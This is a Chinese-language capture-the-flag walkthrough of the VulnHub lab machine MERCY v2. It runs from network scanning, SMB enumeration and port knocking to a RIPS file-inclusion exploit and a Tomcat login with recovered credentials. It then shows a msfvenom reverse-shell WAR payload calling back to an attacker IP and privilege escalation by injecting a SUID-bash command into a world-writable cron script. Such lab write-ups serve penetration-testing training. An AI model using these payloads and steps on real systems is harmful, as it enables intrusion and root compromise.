vulnhub靶场之digitalworld.local: MERCY v2
一.环境搭建
1.靶场描述
MERCY is a machine dedicated to Offensive Security for the PWK course, and to a great friend of mine who was there to share my sufferance with me. :-)
MERCY is a name-play on some aspects of the PWK course. It is NOT a hint for the box.
If you MUST have hints for this machine (even though they will probably not help you very much until you root the box!): Mercy is: (#1): what you always plead for but cannot get, (#2): a dubious machine, (#3): https://www.youtube.com/watch?v=c-5UnMdKg70
Note: Some report a kernel privilege escalation works on this machine. If it does, try harder! There is another vector that you should try!
Feel free to contact the author at https://donavan.sg/blog if you would like to drop a comment.
## Changelog MERCY v2 - 2018-12-28 MERCY v1 - 2018-09-28
2.靶场下载
https://download.vulnhub.com/digitalworld/MERCY-v2.zip
3.靶场启动
二.信息收集
1.寻找靶场真实的ip地址
nmap -sP 192.168.14.0/24
arp-scan -l
我们知道靶场的真实IP为192.168.14.3
2.探测端口及服务
nmap -p- -sV 192.168.14.3
我们可以看到好多的端口，但是22端口和80端口没有开放
三.渗透测试
1.访问web服务
http://192.168.14.3:110
我们可以看到除了8080端口之外，其他端口页面报错。
http://192.168.14.3:8080
我们可以看到是一个默认的tomcat页面，我们进行扫描
2.扫描web服务
dirb http://192.168.14.3:8080
我们扫描到一个登录页面，一个robots.txt
3.渗透测试
1)访问robots.txt和manager
http://192.168.14.3:8080/robots.txt
我们进行访问，发现是一串base64编码，我们进行解密，然后翻译，最后发现一个密码是password
我们访问/manager/，发现是一个登录页面，但是我们不知道用户名和密码
所以这里我们的思路就断了，先把password放一放，我们在扫描端口的时候，扫描到了smb服务，我们使用enum4linux对目标smb服务进行枚举
2)smb服务
enum4linux -a 192.168.14.3
enum4linux是一个用于枚举 Windows 和 Samba 系统上信息的工具，它可以帮助你发现目标系统的用户列表、组列表、共享信息以及其他一些有用的信息。这个工具特别适用于渗透测试和安全评估。
smbclient -NL 192.168.14.3
根据前面2个命令，我们可以看到用户名是qiu
我们前面找到密码是password,用户名是qiu,我们使用smbclient查看目标文件共享
smbclient -U qiu \\\\192.168.14.3\\qiu
使用用户名 qiu 连接到 IP 地址为 192.168.14.3的 SMB 服务器的 qiu 共享资源。
我们可以看到一个隐藏目录，可能用于存放私人或敏感的文件，我们进行查看
我们在kali里面查看
我们可以看到2个文件，我们进行查看
我们可以看到是一个敲门端口，我们前面找到22端口和80端口没有开启，这里我们使用knock命令开启22和80端口
3)敲门端口
我们使用命令开启22端口和80端口
knock 192.168.14.3 159 27391 4 -v
knock 192.168.14.3 17301 28504 9999 -v
我们再次查看端口，可以看到80端口及22端口开启了
4)访问80端口
http://192.168.14.3
好像没有什么用，我们进行扫描
dirb http://192.168.14.3
我们扫描到robots.txt,我们进行查看
http://192.168.14.3/nomercy/，我们可以看到是ripscms,我们进行漏洞利用
5)文件包含漏洞
我们在kali自带的漏洞里面查看
searchsploit rips 0.53
我们进行查看
我们可以看到poc，我们进行查看
存在文件包含漏洞
前面8080端口提示
我们就使用文件包含进行查看
我们看到用户名和密码，我们前面扫描出来一个登录页面，我们进行登录
6)tomcat登录
<user username="thisisasuperduperlonguser" password="heartbreakisinevitable" roles="admin-gui,manager-gui"/>
我们可以看到登录成功
7)文件上传
我们在下面可以看到一个文件上传页面，而且规定文件类型是war
那么我们就使用msf进行
msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.14.4 lport=5555 -f war >MS02423.war
如何我们进行反弹shell
我们可以看到反弹成功
8)提权
使用python切换交互式shell：python -c 'import pty;pty.spawn("/bin/bash")'
ls -la
这些都没有什么用，前面文件包含我们可以看到2个用户名和密码，我们试试第二个用户名和密码
我们成功登录
我们在home目录下，看到一个定时任务，权限是777，那么我们就可以使用它进行提权，我们修改内容
echo 'cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash' >> timeclock
我们可以看到成功提权
